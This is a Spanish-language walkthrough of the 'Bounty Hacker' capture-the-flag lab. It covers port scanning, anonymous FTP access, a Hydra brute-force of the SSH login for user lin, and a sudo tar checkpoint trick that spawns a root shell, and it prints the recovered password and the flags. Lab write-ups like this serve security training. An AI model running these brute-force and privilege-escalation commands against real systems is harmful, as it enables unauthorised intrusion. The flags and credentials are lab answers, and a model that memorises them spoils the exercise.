Bounty Hacker

05/11/2021

Enumeration

Whatweb

whatweb 10.10.47.122
http://10.10.146.216 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.146.216]

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux
whichSystem.py 10.10.146.216
10.10.146.216 (ttl -> 61): Linux

nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.146.216

21/tcp open ftp   syn-ack ttl 61
22/tcp open ssh   syn-ack ttl 61
80/tcp open http   syn-ack ttl 61

descubrimos 3 puertos

lanzaremos scripts basicos de reconocimiento y detectar la version

sudo nmap -sC -sV -p21,22,80 10.10.146.216

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.6.96.73
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

descubrimos que podemos acceder al ftp como anonymous

tratamos de acceder al ftp

```
ftp 10.10.146.216
Name (10.10.146.216:solo): anonymous
ftp>ls
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
ftp> get locks.txt
ftp> get task.txt

226 Directory send OK.
```

Descargamos el archivo encontrado

```
ftp> get ForMitch.txt
```

el archivo dice

```
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

el otro archivo son palabras que podemos usar para ejecutar fuerza bruta en el ssh

Hydra

usamos hydra para realizar fuerza bruta para ingresar al ssh

```
hydra -l lin -P locks.txt 10.10.146.216 -t 4 ssh

[22][ssh] host: 10.10.146.216   login: lin   password: RedDr4gonSynd1cat3
```

encontramos el password del usuario lin

Obteniendo acceso a usuario normal

ssh lin@10.10.146.216 -p 22

RedDr4gonSynd1cat3

whoami
lin
cat user.txt
obetenemos la bandera
THM{CR1M3_SyNd1C4T3}

Explotation

ahora buscamos algun tipo de escalada de privilegios
sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
(root) /bin/tar

Obteniendo acceso a usuario root

para escalar privilegios en vim nos iremos a

ejecutamos
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

tenemos acceso con escalada de privilegios
cd /
cd root
ls
root.txt
cat root.txt
obetenemos la bandera
THM{80UN7Y_h4cK3r}